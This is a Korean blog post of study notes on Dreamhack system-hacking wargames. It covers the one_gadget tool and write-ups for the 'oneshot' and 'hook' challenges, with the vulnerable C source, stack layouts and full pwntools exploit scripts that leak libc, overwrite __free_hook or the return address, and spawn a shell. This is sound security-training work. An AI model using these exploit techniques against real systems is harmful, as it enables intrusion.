System Hacking

PIE & RELRO (2) | dreamhack

burrri 2024. 3. 17. 00:13

+one gadget

one-gadget / magic-gadget 란?

실행시 셸이 획득되는 코드 뭉치 ( david942j가 만들어놓은 툴)

 

기존 ) 셸 획득을 위해 여러 개의 gadget을 조합한 ROP chain을 구성 / RTL 공격

원가젯 ) 단일 가젯만으로도 셸을 실행할 수 있는 강력한 도구

(https://github.com/david942j/one_gadget)

원 가젯은 libc의 버전마다 다르게 존재하며, 제약 조건도 다르므로 필요에 따라 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 사전에 조작해주어야 한다. 

 

: 함수에 인자를 전달하기 어려울 떄 유용하다

 

#!/usr/bin/env python3
# Name: fho_og.py

from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)

libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return

free_hook = libc_base + libc.symbols['__free_hook']
# 다른 부분
og = libc_base+0x4f432

slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one-gadget', og)

# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(og).encode())

# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(0x31337).encode())

p.interactive()

 

 

Oneshot

https://dreamhack.io/wargame/challenges/34

- amd64 (64비트)

- Partial RELRO, canary x, NX 적용, PIE 적용

 

 

주요 소스코드 분석

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

 - msg의 크기는 16, read()에서 46바이트만큼을 받고있기에 BOF 취약점 존재!

- read함수 호출 후, check==0 이면 msg를 print (공격 위치 :read)

- memset으로 0으로 초기화 

 

시나리오

one-gadget을 이용하여 셸을 한번에 실행

-> 조건에 맞춰서 사용

 

$readelf -s libc.so.6 | grep "stdout"

: stdout의 offset 확인 - 0x3c5620

stdout의 주소 - offset = libc_base의 주소 

-> one_gadget offset과 더해 one_gadget을 구할 수 있다.

 

--stack 구조 ------------------------------high

ret

ret - 0x08 = sfp

rbp - 0x08 = ret - 0x10 = check

rbp - 0x20 = ret - 0x28 = msg

---------------------------------------------low

 

=> payload = b'\x00'*24  +  b'\x00*8  +  [oneshot gadget 주소]

(check가 0으로 유지되어야 종료가 안되므로 그냥 냅다 dummy를 0으로 설정하여 그 사이에 존재할 check를 0으로 )

 

 

Exploit

from pwn import *
import warnings

warnings.filterwarnings( 'ignore' )

p = remote("host3.dreamhack.games",13691)
p.recvuntil("stdout: ")
stdout = p.recvuntil(b"\n").strip(b"\n")
stdout = int(stdout, 16)
log.info("stdout : " + hex(stdout))

libc_base = stdout - 0x3c5620
oneshot_gadget =  libc_base + 0x45216
log.info("libc_base : "+hex(libc_base))
log.info("oneshot_gadget : "+hex(oneshot_gadget))

p.recvuntil("MSG: ")
payload = b"\x00"*24 + b"\x00"*16 + p64(oneshot_gadget)
p.send(payload)
p.interactive()

 

(Reference)

https://keyme2003.tistory.com/entry/dreamhack-oneshot


Hook

https://dreamhack.io/wargame/challenges/52

- amd64 (64bit)

- Full RELRO, canary & NX 적용

- no pie

 

소스코드 분석 및 시나리오 

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

- buf size 입력시 해당 사이즈를 malloc으로 동적할당 - 그 사이즈에 해당하는 크기만큼 입력get

- free함수가 두번 -> segment fault (동적할당을 두번이나 해제)

=> __free_hook의 값을 덮어서 system("/bin/sh")함수로 overwrite

 

 

*(long *)*ptr = *(ptr+1)

: malloc으로 동적할당된 공간의 주소의 값을 ptr에 저장

: read함수를 통해 ptr에 접근 가능 - 이때, ptr의 값을 __free_hook의 함수의 주소값을 입력시

(long) ptr는 free_hook 을 point

*(ptr+1) => ptr에서 8바이트만큼 떨어진 곳을 system("/bin/sh")로 변경 

=> __free_hook의 값은 main함수의 system("/bin/sh")를 가리키게되어 셸 획득 할 수 있다. 

 

Exploit

from pwn import *

r = remote("host3.dreamhack.games", 17217)
libc = ELF("./libc-2.23.so")
main_system = 0x400a11

def slog(name, addr): return success(": ".join([name, hex(addr)]))

r.recvuntil("stdout: ")
stdout_addr = int(r.recvline()[:-1], 16)
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols['__free_hook']

slog('libc_base', libc_base)
slog('__free_hook', free_hook)

payload = p64(free_hook) + p64(main_system)
  
r.sendlineafter("Size: ", "400")

r.sendlineafter("Data: ", payload)
 
r.interactive()

 

 

(Reference)

https://velog.io/@azurp158/Dreamhack-Hook

 

 

'System Hacking' 카테고리의 다른 글

Format String Bug | dreamhack  (1) 2024.03.17
Out of bounds | dreamhack  (0) 2024.03.17
PIE & RELRO(1) | dreamhack  (0) 2024.03.16
Bypass NX & ASLR(2) | dreamhack  (0) 2024.03.16
Bypass NX & ASLR(1) | dreamhack  (0) 2024.03.15